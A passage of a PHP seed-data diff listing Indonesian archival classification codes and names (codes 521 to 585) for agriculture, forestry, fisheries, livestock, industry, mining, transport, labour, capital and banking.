'Palawija', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1034, + 'kode' => '521.23', + 'nama' => 'Jagung', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1035, + 'kode' => '521.24', + 'nama' => 'Ketela Pohon / Ubi-Ubian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1036, + 'kode' => '521.25', + 'nama' => 'Hortikultura', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1037, + 'kode' => '521.26', + 'nama' => 'Sayuran / Buah-Buahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1038, + 'kode' => '521.27', + 'nama' => 'Tanaman Hias', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1039, + 'kode' => '521.28', + 'nama' => 'Pembudidayaan Rumput Laut', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1040, + 'kode' => '521.3', + 'nama' => 'Saran Usaha Pertanian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1041, + 'kode' => '521.31', + 'nama' => 'Peralatan Meliputi: Traktor Dan Peralatan Lainya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1042, + 'kode' => '521.32', + 'nama' => 'Pembibitan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1043, + 'kode' => '521.33', + 'nama' => 'Pupuk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1044, + 'kode' => '521.4', + 'nama' => 'Perlindungan Tanaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1045, + 'kode' => '521.41', + 'nama' => 'Penyakit, Penyakit Daun, Penyakit Batang Hama, Serangga, Wereng, Walang Sangit, Tungru, Tikus Dan Sejenisnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1046, + 'kode' => '521.42', + 'nama' => 'Pemberantasan Hama Meliputi: Penyemprotan, Penyiangan, Geropyokan, Sparayer,', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1047, + 'kode' => '521.43', + 'nama' => 'Pemberantasan Melalui Udara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1048, + 'kode' => '521.44', + 'nama' => 'Pestisida', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1049, + 'kode' => '521.5', + 'nama' => 'Tanah Pertanian Pangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1050, + 'kode' => '521.51', + 'nama' => 'Persawahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1051, + 'kode' => '521.52', + 'nama' => 'Perladangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1052, + 'kode' => '521.53', + 'nama' => 'Kebun', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1053, + 'kode' => '521.54', + 'nama' => 'Rumpun Ikan Laut', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1054, + 'kode' => '521.55', + 'nama' => 'KTA/Lahan Kritis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1055, + 'kode' => '521.6', + 'nama' => 'Pengusaha Petani', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1056, + 'kode' => '521.7', + 'nama' => 'Bina Usaha', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1057, + 'kode' => '521.71', + 'nama' => 'Pasca Panen', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1058, + 'kode' => '521.72', + 'nama' => 'Pemasaran Hasil', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1059, + 'kode' => '522', + 'nama' => 'Kehutanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1060, + 'kode' => '522.1', + 'nama' => 'Program', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1061, + 'kode' => '522.11', + 'nama' => 'Hak Pengusahaan Hutan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1062, + 'kode' => '522.12', + 'nama' => 'Tata Guna Hutan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1063, + 'kode' => '522.13', + 'nama' => 'Perpetaan Hutan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1064, + 'kode' => '522.14', + 'nama' => 'Tumpangsari', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1065, + 'kode' => '522.2', + 'nama' => 'Produksi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1066, + 'kode' => '522.21', + 'nama' => 'Kayu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1067, + 'kode' => '522.22', + 'nama' => 'Non Kayu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1068, + 'kode' => '522.3', + 'nama' => 'Sarana Usaha Kehutanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1069, + 'kode' => '522.4', + 'nama' => 'Penghijauan, Reboisasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1070, + 'kode' => '522.5', + 'nama' => 'Kelestarian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1071, + 'kode' => '522.51', + 'nama' => 'Cagar Alam, Marga Satwa, Suaka Marga Satwa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1072, + 'kode' => '522.52', + 'nama' => 'Berburu Meliputi Larangan Dan Ijin Berburu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1073, + 'kode' => '522.53', + 'nama' => 'Kebun Binatang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1074, + 'kode' => '522.54', + 'nama' => 'Konservasi Lahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1075, + 'kode' => '522.6', + 'nama' => 'Penyakit/Hama', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1076, + 'kode' => '522.7', + 'nama' => 'Jenis-jenis Hutan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1077, + 'kode' => '522.71', + 'nama' => 'Hutan Hidup', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1078, + 'kode' => '522.72', + 'nama' => 'Hutan Wisata', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1079, + 'kode' => '522.73', + 'nama' => 'Hutan Produksi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1080, + 'kode' => '522.74', + 'nama' => 'Hutan Lindung', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1081, + 'kode' => '523', + 'nama' => 'Perikanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1082, + 'kode' => '523.1', + 'nama' => 'Program', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1083, + 'kode' => '523.11', + 'nama' => 'Penyuluhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1084, + 'kode' => '523.12', + 'nama' => 'Teknologi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1085, + 'kode' => '523.2', + 'nama' => 'Produksi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1086, + 'kode' => '523.21', + 'nama' => 'Pelelangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1087, + 'kode' => '523.3', + 'nama' => 'Usaha Perikanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1088, + 'kode' => '523.31', + 'nama' => 'Pembibitan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1089, + 'kode' => '523.32', + 'nama' => 'Daerah Penagkapan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1090, + 'kode' => '523.33', + 'nama' => 'Pertambakan Meliputi: ( Tambak Ikan Air Deras, Tambak Udang dll )', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1091, + 'kode' => '523.34', + 'nama' => 'Jaring Terapung', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1092, + 'kode' => '523.4', + 'nama' => 'Sarana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1093, + 'kode' => '523.41', + 'nama' => 'Peralatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1094, + 'kode' => '523.42', + 'nama' => 'Kapal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1095, + 'kode' => '523.43', + 'nama' => 'Pelabuhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1096, + 'kode' => '523.5', + 'nama' => 'Pengusaha', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1097, + 'kode' => '523.6', + 'nama' => 'Nelayan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1098, + 'kode' => '524', + 'nama' => 'Peternakan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1099, + 'kode' => '524.1', + 'nama' => 'Produksi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1100, + 'kode' => '524.11', + 'nama' => 'Susu Ternak Rakyat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1101, + 'kode' => '524.12', + 'nama' => 'Telur', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1102, + 'kode' => '524.13', + 'nama' => 'Daging', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1103, + 'kode' => '524.14', + 'nama' => 'Kulit', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1104, + 'kode' => '524.2', + 'nama' => 'Sarana Usaha Ternak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1105, + 'kode' => '524.21', + 'nama' => 'Pembibitan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1106, + 'kode' => '524.22', + 'nama' => 'Kandang Ternak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1107, + 'kode' => '524.3', + 'nama' => 'Kesehatan Hewan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1108, + 'kode' => '524.31', + 'nama' => 'Penyakit Hewan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1109, + 'kode' => '524.32', + 'nama' => 'Pos Kesehatan Hewan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1110, + 'kode' => '524.33', + 'nama' => 'Tesi Pullorum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1111, + 'kode' => '524.34', + 'nama' => 'Karantina', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1112, + 'kode' => '524.35', + 'nama' => 'Pemberantasan Penyakit Hewan Termasuk Usaha Pencegahannya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1113, + 'kode' => '524.4', + 'nama' => 'Perunggasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1114, + 'kode' => '524.5', + 'nama' => 'Pengembangan Ternak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1115, + 'kode' => '524.51', + 'nama' => 'Inseminasi Buatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1116, + 'kode' => '524.52', + 'nama' => 'Pembibitan / Bibit Unggul', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1117, + 'kode' => '524.53', + 'nama' => 'Penyebaran Ternak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1118, + 'kode' => '524.6', + 'nama' => 'Makanan Ternak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1119, + 'kode' => '524.7', + 'nama' => 'Tempat Pemotongan Hewan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1120, + 'kode' => '524.8', + 'nama' => 'Data Peternakan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1121, + 'kode' => '525', + 'nama' => 'Perkebunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1122, + 'kode' => '525.1', + 'nama' => 'Program', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1123, + 'kode' => '525.2', + 'nama' => 'Produksi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1124, + 'kode' => '525.21', + 'nama' => 'Karet', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1125, + 'kode' => '525.22', + 'nama' => 'The', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1126, + 'kode' => '525.23', + 'nama' => 'Tembakau', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1127, + 'kode' => '525.24', + 'nama' => 'Tebu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1128, + 'kode' => '525.25', + 'nama' => 'Cengkeh', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1129, + 'kode' => '525.26', + 'nama' => 'Kopra', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1130, + 'kode' => '525.27', + 'nama' => 'Kopi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1131, + 'kode' => '525.28', + 'nama' => 'Coklat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1132, + 'kode' => '525.29', + 'nama' => 'Aneka Tanaman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1133, + 'kode' => '526', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1134, + 'kode' => '527', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1135, + 'kode' => '528', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1136, + 'kode' => '530', + 'nama' => 'PERINDUSTRIAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1137, + 'kode' => '530.08', + 'nama' => 'Undang-Undang Gangguan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1138, + 'kode' => '531', + 'nama' => 'Industri Logam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1139, + 'kode' => '532', + 'nama' => 'Industri Mesin/Elektronik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1140, + 'kode' => '533', + 'nama' => 'Industri Kimia/Farmasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1141, + 'kode' => '534', + 'nama' => 'Industri Tekstil', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1142, + 'kode' => '535', + 'nama' => 'Industri Makanan / Minuman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1143, + 'kode' => '536', + 'nama' => 'Aneka Industri / Perusahaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1144, + 'kode' => '537', + 'nama' => 'Aneka Kerajinan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1145, + 'kode' => '538', + 'nama' => 'Usaha Negara / BUMN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1146, + 'kode' => '538.1', + 'nama' => 'Perjan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1147, + 'kode' => '538.2', + 'nama' => 'Perum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1148, + 'kode' => '538.3', + 'nama' => 'Persero / PT, CV', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1149, + 'kode' => '539', + 'nama' => 'Perusahaan Daerah / BUMD/BULD', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1150, + 'kode' => '540', + 'nama' => 'PERTAMBANGAN / KESAMUDRAAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1151, + 'kode' => '541', + 'nama' => 'Minyak Bumi / Bensin', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1152, + 'kode' => '541.1', + 'nama' => 'Pengusahaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1153, + 'kode' => '542', + 'nama' => 'Gas bumi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1154, + 'kode' => '542.1', + 'nama' => 'Eksploitasi / Pengeboran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1155, + 'kode' => '542.11', + 'nama' => 'Kontrak Kerja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1156, + 'kode' => '542.2', + 'nama' => 'Penogolahan,', + 'uraian' => 'Meliputi :Tangki, Pompa, Tanker', + 'enabled' => 1, + ], + [ + 'id' => 1157, + 'kode' => '543', + 'nama' => 'Aneka Tambang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1158, + 'kode' => '543.1', + 'nama' => 'Timah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1159, + 'kode' => '543.2', + 'nama' => 'Alumunium, Boxit', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1160, + 'kode' => '543.3', + 'nama' => 'Besi Termasuk Besi Tua', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1161, + 'kode' => '543.4', + 'nama' => 'Tembaga', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1162, + 'kode' => '543.5', + 'nama' => 'Batu Bara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1163, + 'kode' => '544', + 'nama' => 'Logam Mulia,Emas,Intan,Perak', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1164, + 'kode' => '545', + 'nama' => 'Logam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1165, + 'kode' => '546', + 'nama' => 'Geologi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1166, + 'kode' => '546.1', + 'nama' => 'Vulkanologi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1167, + 'kode' => '546.11', + 'nama' => 'Pengawasan Gunung Berapi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1168, + 'kode' => '546.2', + 'nama' => 'Sumur Artesis, Air Bawah Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1169, + 'kode' => '547', + 'nama' => 'Hidrologi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1170, + 'kode' => '548', + 'nama' => 'Kesamudraan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1171, + 'kode' => '549', + 'nama' => 'Pesisir Pantai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1172, + 'kode' => '550', + 'nama' => 'PERHUBUNGAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1173, + 'kode' => '551', + 'nama' => 'Perhubungan Darat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1174, + 'kode' => '551.1', + 'nama' => 'Lalu Lintas Jalan Raya, Sungai, Danau', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1175, + 'kode' => '551.11', + 'nama' => 'Keamanan Lalu Lintas, Rambu-Rambu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1176, + 'kode' => '551.2', + 'nama' => 'Angkutan Jalan Raya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1177, + 'kode' => '551.21', + 'nama' => 'Perizinan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1178, + 'kode' => '551.22', + 'nama' => 'Terminal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1179, + 'kode' => '551.23', + 'nama' => 'Alat Angkutan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1180, + 'kode' => '551.3', + 'nama' => 'Angkutan Sungai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1181, + 'kode' => '551.31', + 'nama' => 'Perizinan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1182, + 'kode' => '551.32', + 'nama' => 'Terminal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1183, + 'kode' => '551.33', + 'nama' => 'Pelabuhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1184, + 'kode' => '551.4', + 'nama' => 'Angkutan Danau', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1185, + 'kode' => '551.41', + 'nama' => 'Perizinan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1186, + 'kode' => '551.42', + 'nama' => 'Terminal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1187, + 'kode' => '551.43', + 'nama' => 'Pelabuhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1188, + 'kode' => '551.5', + 'nama' => 'Feri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1189, + 'kode' => '551.51', + 'nama' => 'Perizinan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1190, + 'kode' => '551.52', + 'nama' => 'Terminal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1191, + 'kode' => '551.53', + 'nama' => 'Pelabuhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1192, + 'kode' => '551.6', + 'nama' => 'Perkereta-Apian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1193, + 'kode' => '552', + 'nama' => 'Perhubungan Laut', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1194, + 'kode' => '552.1', + 'nama' => 'Lalu Lintas Angkutan Laut, Pelayanan Umum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1195, + 'kode' => '552.11', + 'nama' => 'Keamanan Lalu Lintas, Rambu-Rambu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1196, + 'kode' => '552.12', + 'nama' => 'Pelayaran Dalam Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1197, + 'kode' => '552.13', + 'nama' => 'Pelayaran Luar Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1198, + 'kode' => '552.2', + 'nama' => 'Perkapalan Alat Angkutan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1199, + 'kode' => '552.3', + 'nama' => 'Pelabuhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1200, + 'kode' => '552.4', + 'nama' => 'Pengerukan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1201, + 'kode' => '552.5', + 'nama' => 'Penjagaan Pantai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1202, + 'kode' => '553', + 'nama' => 'Perhubungan Udara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1203, + 'kode' => '553.1', + 'nama' => 'Lalu Lintas Udara / Keamanan Lalu Lintas Udara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1204, + 'kode' => '553.2', + 'nama' => 'Pelabuhan Udara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1205, + 'kode' => '553.3', + 'nama' => 'Alat Angkutan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1206, + 'kode' => '554', + 'nama' => 'Pos', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1207, + 'kode' => '555', + 'nama' => 'Telekomunikasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1208, + 'kode' => '555.1', + 'nama' => 'Telepon', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1209, + 'kode' => '555.2', + 'nama' => 'Telegram', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1210, + 'kode' => '555.3', + 'nama' => 'Telex / SSB, Faximile', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1211, + 'kode' => '555.4', + 'nama' => 'Satelit, Internet', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1212, + 'kode' => '555.5', + 'nama' => 'Stasiun Bumi, Parabola', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1213, + 'kode' => '556', + 'nama' => 'Pariwisata dan Rekreasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1214, + 'kode' => '556.1', + 'nama' => 'Obyek Kepariwisataan Taman Mini Indonesia Indah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1215, + 'kode' => '556.2', + 'nama' => 'Perhotelan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1216, + 'kode' => '556.3', + 'nama' => 'Travel service', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1217, + 'kode' => '556.4', + 'nama' => 'Tempat Rekreasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1218, + 'kode' => '557', + 'nama' => 'Meteorologi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1219, + 'kode' => '557.1', + 'nama' => 'Ramalan Cuaca', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1220, + 'kode' => '557.2', + 'nama' => 'Curah Hujan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1221, + 'kode' => '557.3', + 'nama' => 'Kemarau Panjang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1222, + 'kode' => '558', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1223, + 'kode' => '559', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1224, + 'kode' => '560', + 'nama' => 'TENAGA KERJA', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1225, + 'kode' => '560.1', + 'nama' => 'Pengangguran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1226, + 'kode' => '561', + 'nama' => 'Upah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1227, + 'kode' => '562', + 'nama' => 'Penempatan Tenaga Kerja, TKI', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1228, + 'kode' => '563', + 'nama' => 'Latihan Kerja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1229, + 'kode' => '564', + 'nama' => 'Tenaga Kerja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1230, + 'kode' => '564.1', + 'nama' => 'Butsi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1231, + 'kode' => '564.2', + 'nama' => 'Padat Karya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1232, + 'kode' => '565', + 'nama' => 'Perselisihan Perburuhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1233, + 'kode' => '566', + 'nama' => 'Keselamatan Kerja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1234, + 'kode' => '567', + 'nama' => 'Pemutusan Hubungan Kerja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1235, + 'kode' => '568', + 'nama' => 'kesejahteraan Buruh', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1236, + 'kode' => '569', + 'nama' => 'Tenaga Orang Asing', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1237, + 'kode' => '570', + 'nama' => 'PERMODALAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1238, + 'kode' => '571', + 'nama' => 'Modal Domestik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1239, + 'kode' => '572', + 'nama' => 'Modal Asing', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1240, + 'kode' => '573', + 'nama' => 'Modal Patungan (Joint Venture) / Penyertaan Modal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1241, + 'kode' => '574', + 'nama' => 'Pasar Uang Dan Modal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1242, + 'kode' => '575', + 'nama' => 'Saham', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1243, + 'kode' => '576', + 'nama' => 'Belanja Modal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1244, + 'kode' => '577', + 'nama' => 'Modal Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1245, + 'kode' => '580', + 'nama' => 'PERBANKAN / MONETER', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1246, + 'kode' => '581', + 'nama' => 'Kredit', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1247, + 'kode' => '582', + 'nama' => 'Investasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1248, + 'kode' => '583', + 'nama' => 'Pembukaan ,Perubahan,Penutupan Rekening, Deposito', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1249, + 'kode' => '584', + 'nama' => 'Bank Pembangunan Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 1250, + 'kode' => '585', + 'nama' => 'Asuransi Dana Kecelakaan 